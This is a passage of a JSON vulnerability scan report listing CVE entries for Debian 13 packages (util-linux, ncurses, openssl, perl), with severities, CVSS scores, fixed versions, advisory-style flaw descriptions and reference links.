"Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6670947b2cbd7d3aab877ea8e2cc68dcefb983c3bcb05613b595db2c98922a88", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2025-69720", "PkgID": "ncurses-base@6.5+20250216-2", "PkgName": "ncurses-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/ncurses-base@6.5%2B20250216-2?arch=all\u0026distro=debian-13.6", "UID": "767a0231348a5cb5" }, "InstalledVersion": "6.5+20250216-2", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-69720", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b238ab9854a9f56252036158975f4acbc12647c31f2b857b35acd7230d1174dd", "Title": "ncurses: ncurses: Buffer overflow vulnerability may lead to arbitrary code execution.", "Description": "The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c.", "Severity": "HIGH", "CweIDs": [ "CWE-121", "CWE-120" ], "VendorSeverity": { "alma": 2, "azure": 4, "cbl-mariner": 4, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:5913", "https://access.redhat.com/security/cve/CVE-2025-69720", "https://bugzilla.redhat.com/2449037", "https://bugzilla.redhat.com/show_bug.cgi?id=2449037", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69720", "https://errata.almalinux.org/10/ALSA-2026-5913.html", "https://errata.rockylinux.org/RLSA-2026:5913", "https://github.com/Cao-Wuhui/CVE-2025-69720", "https://github.com/advisories/GHSA-9952-mrqj-h4jh", "https://invisible-island.net/archives/ncurses/6.5", "https://invisible-island.net/archives/ncurses/6.5/", "https://invisible-island.net/ncurses", "https://invisible-island.net/ncurses/", "https://linux.oracle.com/cve/CVE-2025-69720.html", "https://linux.oracle.com/errata/ELSA-2026-5913.html", "https://marc.info/?l=ncurses-bug\u0026m=176539968328570\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176540731801330\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176545557728083\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2025-69720", "https://ubuntu.com/security/notices/USN-8503-1", "https://www.cve.org/CVERecord?id=CVE-2025-69720" ], "PublishedDate": "2026-03-19T15:16:21.293Z", "LastModifiedDate": "2026-06-17T10:00:50.423Z" }, { "VulnerabilityID": "CVE-2025-69720", "PkgID": "ncurses-bin@6.5+20250216-2", "PkgName": "ncurses-bin", "PkgIdentifier": { "PURL": "pkg:deb/debian/ncurses-bin@6.5%2B20250216-2?arch=amd64\u0026distro=debian-13.6", "UID": "5b541563cf6587e5" }, "InstalledVersion": "6.5+20250216-2", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-69720", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:08c07dda399f371f086d9b61372570b9018522266568b13e3a5f43955de378ae", "Title": "ncurses: ncurses: Buffer overflow vulnerability may lead to arbitrary code execution.", "Description": "The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c.", "Severity": "HIGH", "CweIDs": [ "CWE-121", "CWE-120" ], "VendorSeverity": { "alma": 2, "azure": 4, "cbl-mariner": 4, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:5913", "https://access.redhat.com/security/cve/CVE-2025-69720", "https://bugzilla.redhat.com/2449037", "https://bugzilla.redhat.com/show_bug.cgi?id=2449037", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69720", "https://errata.almalinux.org/10/ALSA-2026-5913.html", "https://errata.rockylinux.org/RLSA-2026:5913", "https://github.com/Cao-Wuhui/CVE-2025-69720", "https://github.com/advisories/GHSA-9952-mrqj-h4jh", "https://invisible-island.net/archives/ncurses/6.5", "https://invisible-island.net/archives/ncurses/6.5/", "https://invisible-island.net/ncurses", "https://invisible-island.net/ncurses/", "https://linux.oracle.com/cve/CVE-2025-69720.html", "https://linux.oracle.com/errata/ELSA-2026-5913.html", "https://marc.info/?l=ncurses-bug\u0026m=176539968328570\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176540731801330\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176545557728083\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2025-69720", "https://ubuntu.com/security/notices/USN-8503-1", "https://www.cve.org/CVERecord?id=CVE-2025-69720" ], "PublishedDate": "2026-03-19T15:16:21.293Z", "LastModifiedDate": "2026-06-17T10:00:50.423Z" }, { "VulnerabilityID": "CVE-2026-14456", "VendorIDs": [ "DSA-6465-1" ], "PkgID": "openssl@3.5.6-1~deb13u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.5.6-1~deb13u2?arch=amd64\u0026distro=debian-13.6", "UID": "dd4ebaa84c3b4760" }, "InstalledVersion": "3.5.6-1~deb13u2", "FixedVersion": "3.5.7-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:6c3d72b3145b3e6fd1cb9f40bec451653da28422c27bd821f217cffbf8e2ce56" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14456", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:070f475d1ac2b18448b44169967e4792de4ecd763d98dd48d515c96de97b846e", "Title": "openssl: OpenSSL: Denial of Service via unbounded memory growth in QUIC server", "Description": "Issue summary: When an OpenSSL QUIC server (Listener SSL object) processes\nvalid QUIC Initial packets for unknown destination connection IDs, it\ncan allocate and queue new incoming channels without enforcing any limit.\n\nImpact summary: A remote peer that can make many Initial packets reach the\nserver listener faster than the application accepts connections, can cause the\nmemory allocated to store the per-channel state to grow without any limits,\npotentially making the QUIC listener unavailable and causing Denial of Service.\n\nCWE: CWE-770: Allocation of Resources Without Limits or Throttling\n\nDescription: The function that handles inbound QUIC packets uses\nConnection-Id from the packet header to find an existing connection\n(QUIC channel). If no existing connection is found and the packet\ntype is INITIAL, the function treats the packet as a new connection. It\nallocates a new channel object and inserts it into a queue where it\nwaits to be accepted by the local application with SSL_accept(3ossl).\nThe memory occupied by these initial channel objects may grow\nwithout bounds if the application is not able to call SSL_accept()\nfrequently enough to serve these inbound connection requests.\n\nThe issue is present since OpenSSL 3.5 when the QUIC server implementation\nwas added.\n\nThe fix introduces a limit for pending connections. The default limit is set\nto 256 pending connections (waiting to be accepted by the local application).\nApplications may change the default by calling SSL_set_value_uint(3ossl).\n\nFIPS impact: no\nThe FIPS module is not affected as the QUIC implementation is outside of\nthe OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/08/13/4", "https://access.redhat.com/errata/RHSA-2026:67165", "https://access.redhat.com/security/cve/CVE-2026-14456", "https://bugzilla.redhat.com/2515348", "https://bugzilla.redhat.com/2517559", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2517561", "https://bugzilla.redhat.com/2517562", "https://bugzilla.redhat.com/2517564", "https://bugzilla.redhat.com/2517565", "https://bugzilla.redhat.com/2517566", "https://bugzilla.redhat.com/2517570", "https://bugzilla.redhat.com/show_bug.cgi?id=2515348", "https://bugzilla.redhat.com/show_bug.cgi?id=2517559", "https://bugzilla.redhat.com/show_bug.cgi?id=2517560", "https://bugzilla.redhat.com/show_bug.cgi?id=2517561", "https://bugzilla.redhat.com/show_bug.cgi?id=2517562", "https://bugzilla.redhat.com/show_bug.cgi?id=2517564", "https://bugzilla.redhat.com/show_bug.cgi?id=2517565", "https://bugzilla.redhat.com/show_bug.cgi?id=2517566", "https://bugzilla.redhat.com/show_bug.cgi?id=2517570", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14457", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18798", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54874", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63074", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63076", "https://errata.almalinux.org/9/ALSA-2026-67165.html", "https://errata.rockylinux.org/RLSA-2026:67165", "https://github.com/openssl/openssl/commit/08e7756c3900bcfd77a720e7b74e27d6e4ed01a9", "https://github.com/openssl/openssl/commit/4084152e040329ca0194c4c1750b9b46d00a5b6b", "https://github.com/openssl/openssl/commit/f2f1465f2d2e5c61dfeac4d20fd093797d821139", "https://linux.oracle.com/cve/CVE-2026-14456.html", "https://linux.oracle.com/errata/ELSA-2026-67165-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14456", "https://openssl-library.org/news/secadv/20260813.txt", "https://ubuntu.com/security/notices/USN-8678-1", "https://www.cve.org/CVERecord?id=CVE-2026-14456" ], "PublishedDate": "2026-08-13T15:19:31.82Z", "LastModifiedDate": "2026-11-06T20:26:36.04Z" }, { "VulnerabilityID": "CVE-2026-84782", "VendorIDs": [ "DSA-6531-1" ], "PkgID": "openssl@3.5.6-1~deb13u2", "PkgName": "openssl", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl@3.5.6-1~deb13u2?arch=amd64\u0026distro=debian-13.6", "UID": "dd4ebaa84c3b4760" }, "InstalledVersion": "3.5.6-1~deb13u2", "FixedVersion": "3.5.7-1~deb13u3", "Status": "fixed", "Layer": { "DiffID": "sha256:6c3d72b3145b3e6fd1cb9f40bec451653da28422c27bd821f217cffbf8e2ce56" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-84782", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:12f0f9cf57e0e3c8bb0273fc0dd5aed0e0d405a4717808d2f02e12e414a92788", "Title": "openssl: compat-openssl: openssl: Information disclosure via DTLS handshake retransmission", "Description": "Issue summary: The DTLS retransmission logic does not correctly handle\na handshake message write that is suspended part-way through.\nThe retransmitted message can be read past the message buffer and\nthe retransmission overwrites the internal state the suspended write\nneeds to resume correctly.\n\nImpact summary: The retransmitted message can disclose a heap memory\nto the peer as plaintext handshake data or cause a crash and a Denial\nof Service when the read reaches an unmapped memory region.\n\nCWE: CWE-125: Out-of-bounds Read\n\nDescription: DTLS handshake messages can be written out in multiple\nfragments, and a write can suspend mid-message (returning WANT_WRITE)\nif the underlying transport temporarily cannot accept more data. While\nsuch a write is suspended, the DTLS retransmission timer may\nindependently fire and ask the retransmission logic to resend an\nearlier, already-acknowledged-as-sent message from its retransmit\nqueue.\n\nThe retransmission logic reused the same internal buffer and position\ntracking as the message that was still being written, without\nresetting the position back to the start of the message being\nretransmitted. As a result the retransmission was read starting from\nwherever the suspended write had left off, producing a mislabelled\nmessage whose body was leftover bytes from the other, larger message\nstill in flight - content that was never meant to be sent at that\npoint, and which could run past the end of the allocated buffer.\n\nSeparately, even when the retransmission is positioned correctly,\nallowing it to run to completion while another write is suspended\noverwrites the same shared bookkeeping that the suspended write\ndepends on to resume. When the application later resumes the\nsuspended write (via a subsequent SSL_read(), SSL_write(),\nSSL_accept(), or SSL_connect() call), it finds that bookkeeping in a\nstate inconsistent with the message and aborts the process in\na debugging build.\n\nThe fix resets the retransmission's read position to the start of the\nmessage before resending, and skips retransmission entirely whenever a\nhandshake write is still suspended, deferring to the next call that\nresumes it instead.\n\nFIPS impact: no\nThe affected code is outside the FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77396", "https://access.redhat.com/errata/RHSA-2026:80514", "https://access.redhat.com/security/cve/CVE-2026-84782", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2537080", "https://bugzilla.redhat.com/show_bug.cgi?id=2537080", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-84782", "https://errata.almalinux.org/9/ALSA-2026-80514.html", "https://errata.rockylinux.org/RLSA-2026:77396", "https://github.com/openssl/openssl/commit/906cf0ef1c85ca40ce69163e9086d6d3fe292943", "https://github.com/openssl/openssl/commit/9f6b34422af7eb5dac61322e33dac1ae989fa628", "https://github.com/openssl/openssl/commit/a383dafdd754eb5b22bf45e37e1bff9d07277a58", "https://github.com/openssl/openssl/commit/d951e02ede8f6a6ff8150546db44b34f0518192c", "https://linux.oracle.com/cve/CVE-2026-84782.html", "https://linux.oracle.com/errata/ELSA-2026-85968.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-84782", "https://openssl-library.org/news/secadv/20260929.txt", "https://openssl-library.org/news/vulnerabilities/#CVE-2026-84782", "https://ubuntu.com/security/notices/USN-8847-1", "https://ubuntu.com/security/notices/USN-8847-2", "https://www.cve.org/CVERecord?id=CVE-2026-84782" ], "PublishedDate": "2026-09-29T16:17:12.5Z", "LastModifiedDate": "2026-10-08T01:20:56.003Z" }, { "VulnerabilityID": "CVE-2026-14456", "VendorIDs": [ "DSA-6465-1" ], "PkgID": "openssl-provider-legacy@3.5.6-1~deb13u2", "PkgName": "openssl-provider-legacy", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl-provider-legacy@3.5.6-1~deb13u2?arch=amd64\u0026distro=debian-13.6", "UID": "ae2ffed3c3eb2cf9" }, "InstalledVersion": "3.5.6-1~deb13u2", "FixedVersion": "3.5.7-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14456", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9c853da7bace3d6fe5b0e0b22fe6918910011a94ce39767994467911cf754fa8", "Title": "openssl: OpenSSL: Denial of Service via unbounded memory growth in QUIC server", "Description": "Issue summary: When an OpenSSL QUIC server (Listener SSL object) processes\nvalid QUIC Initial packets for unknown destination connection IDs, it\ncan allocate and queue new incoming channels without enforcing any limit.\n\nImpact summary: A remote peer that can make many Initial packets reach the\nserver listener faster than the application accepts connections, can cause the\nmemory allocated to store the per-channel state to grow without any limits,\npotentially making the QUIC listener unavailable and causing Denial of Service.\n\nCWE: CWE-770: Allocation of Resources Without Limits or Throttling\n\nDescription: The function that handles inbound QUIC packets uses\nConnection-Id from the packet header to find an existing connection\n(QUIC channel). If no existing connection is found and the packet\ntype is INITIAL, the function treats the packet as a new connection. It\nallocates a new channel object and inserts it into a queue where it\nwaits to be accepted by the local application with SSL_accept(3ossl).\nThe memory occupied by these initial channel objects may grow\nwithout bounds if the application is not able to call SSL_accept()\nfrequently enough to serve these inbound connection requests.\n\nThe issue is present since OpenSSL 3.5 when the QUIC server implementation\nwas added.\n\nThe fix introduces a limit for pending connections. The default limit is set\nto 256 pending connections (waiting to be accepted by the local application).\nApplications may change the default by calling SSL_set_value_uint(3ossl).\n\nFIPS impact: no\nThe FIPS module is not affected as the QUIC implementation is outside of\nthe OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/08/13/4", "https://access.redhat.com/errata/RHSA-2026:67165", "https://access.redhat.com/security/cve/CVE-2026-14456", "https://bugzilla.redhat.com/2515348", "https://bugzilla.redhat.com/2517559", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2517561", "https://bugzilla.redhat.com/2517562", "https://bugzilla.redhat.com/2517564", "https://bugzilla.redhat.com/2517565", "https://bugzilla.redhat.com/2517566", "https://bugzilla.redhat.com/2517570", "https://bugzilla.redhat.com/show_bug.cgi?id=2515348", "https://bugzilla.redhat.com/show_bug.cgi?id=2517559", "https://bugzilla.redhat.com/show_bug.cgi?id=2517560", "https://bugzilla.redhat.com/show_bug.cgi?id=2517561", "https://bugzilla.redhat.com/show_bug.cgi?id=2517562", "https://bugzilla.redhat.com/show_bug.cgi?id=2517564", "https://bugzilla.redhat.com/show_bug.cgi?id=2517565", "https://bugzilla.redhat.com/show_bug.cgi?id=2517566", "https://bugzilla.redhat.com/show_bug.cgi?id=2517570", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14457", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18798", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54874", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63074", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63076", "https://errata.almalinux.org/9/ALSA-2026-67165.html", "https://errata.rockylinux.org/RLSA-2026:67165", "https://github.com/openssl/openssl/commit/08e7756c3900bcfd77a720e7b74e27d6e4ed01a9", "https://github.com/openssl/openssl/commit/4084152e040329ca0194c4c1750b9b46d00a5b6b", "https://github.com/openssl/openssl/commit/f2f1465f2d2e5c61dfeac4d20fd093797d821139", "https://linux.oracle.com/cve/CVE-2026-14456.html", "https://linux.oracle.com/errata/ELSA-2026-67165-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14456", "https://openssl-library.org/news/secadv/20260813.txt", "https://ubuntu.com/security/notices/USN-8678-1", "https://www.cve.org/CVERecord?id=CVE-2026-14456" ], "PublishedDate": "2026-08-13T15:19:31.82Z", "LastModifiedDate": "2026-11-06T20:26:36.04Z" }, { "VulnerabilityID": "CVE-2026-84782", "VendorIDs": [ "DSA-6531-1" ], "PkgID": "openssl-provider-legacy@3.5.6-1~deb13u2", "PkgName": "openssl-provider-legacy", "PkgIdentifier": { "PURL": "pkg:deb/debian/openssl-provider-legacy@3.5.6-1~deb13u2?arch=amd64\u0026distro=debian-13.6", "UID": "ae2ffed3c3eb2cf9" }, "InstalledVersion": "3.5.6-1~deb13u2", "FixedVersion": "3.5.7-1~deb13u3", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-84782", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5911135050a3a0a9472e4fe9e3085c7e2d115113f4d27fdc9d6b35ba1c097fc8", "Title": "openssl: compat-openssl: openssl: Information disclosure via DTLS handshake retransmission", "Description": "Issue summary: The DTLS retransmission logic does not correctly handle\na handshake message write that is suspended part-way through.\nThe retransmitted message can be read past the message buffer and\nthe retransmission overwrites the internal state the suspended write\nneeds to resume correctly.\n\nImpact summary: The retransmitted message can disclose a heap memory\nto the peer as plaintext handshake data or cause a crash and a Denial\nof Service when the read reaches an unmapped memory region.\n\nCWE: CWE-125: Out-of-bounds Read\n\nDescription: DTLS handshake messages can be written out in multiple\nfragments, and a write can suspend mid-message (returning WANT_WRITE)\nif the underlying transport temporarily cannot accept more data. While\nsuch a write is suspended, the DTLS retransmission timer may\nindependently fire and ask the retransmission logic to resend an\nearlier, already-acknowledged-as-sent message from its retransmit\nqueue.\n\nThe retransmission logic reused the same internal buffer and position\ntracking as the message that was still being written, without\nresetting the position back to the start of the message being\nretransmitted. As a result the retransmission was read starting from\nwherever the suspended write had left off, producing a mislabelled\nmessage whose body was leftover bytes from the other, larger message\nstill in flight - content that was never meant to be sent at that\npoint, and which could run past the end of the allocated buffer.\n\nSeparately, even when the retransmission is positioned correctly,\nallowing it to run to completion while another write is suspended\noverwrites the same shared bookkeeping that the suspended write\ndepends on to resume. When the application later resumes the\nsuspended write (via a subsequent SSL_read(), SSL_write(),\nSSL_accept(), or SSL_connect() call), it finds that bookkeeping in a\nstate inconsistent with the message and aborts the process in\na debugging build.\n\nThe fix resets the retransmission's read position to the start of the\nmessage before resending, and skips retransmission entirely whenever a\nhandshake write is still suspended, deferring to the next call that\nresumes it instead.\n\nFIPS impact: no\nThe affected code is outside the FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77396", "https://access.redhat.com/errata/RHSA-2026:80514", "https://access.redhat.com/security/cve/CVE-2026-84782", "https://bugzilla.redhat.com/2517560", "https://bugzilla.redhat.com/2537080", "https://bugzilla.redhat.com/show_bug.cgi?id=2537080", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-84782", "https://errata.almalinux.org/9/ALSA-2026-80514.html", "https://errata.rockylinux.org/RLSA-2026:77396", "https://github.com/openssl/openssl/commit/906cf0ef1c85ca40ce69163e9086d6d3fe292943", "https://github.com/openssl/openssl/commit/9f6b34422af7eb5dac61322e33dac1ae989fa628", "https://github.com/openssl/openssl/commit/a383dafdd754eb5b22bf45e37e1bff9d07277a58", "https://github.com/openssl/openssl/commit/d951e02ede8f6a6ff8150546db44b34f0518192c", "https://linux.oracle.com/cve/CVE-2026-84782.html", "https://linux.oracle.com/errata/ELSA-2026-85968.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-84782", "https://openssl-library.org/news/secadv/20260929.txt", "https://openssl-library.org/news/vulnerabilities/#CVE-2026-84782", "https://ubuntu.com/security/notices/USN-8847-1", "https://ubuntu.com/security/notices/USN-8847-2", "https://www.cve.org/CVERecord?id=CVE-2026-84782" ], "PublishedDate": "2026-09-29T16:17:12.5Z", "LastModifiedDate": "2026-10-08T01:20:56.003Z" }, { "VulnerabilityID": "CVE-2026-13221", "PkgID": "perl@5.40.1-6", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "557491d5d25d44f8" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ca72cbefaaeff7dc753090fa186a0d71ca030afcec73fe1e31a33e0a3b905105", "Title": "perl: Perl: Incorrect regular expression processing via large regular expressions", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.10 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk.\n\nWhen such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error.\n\nA pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong.", "Severity": 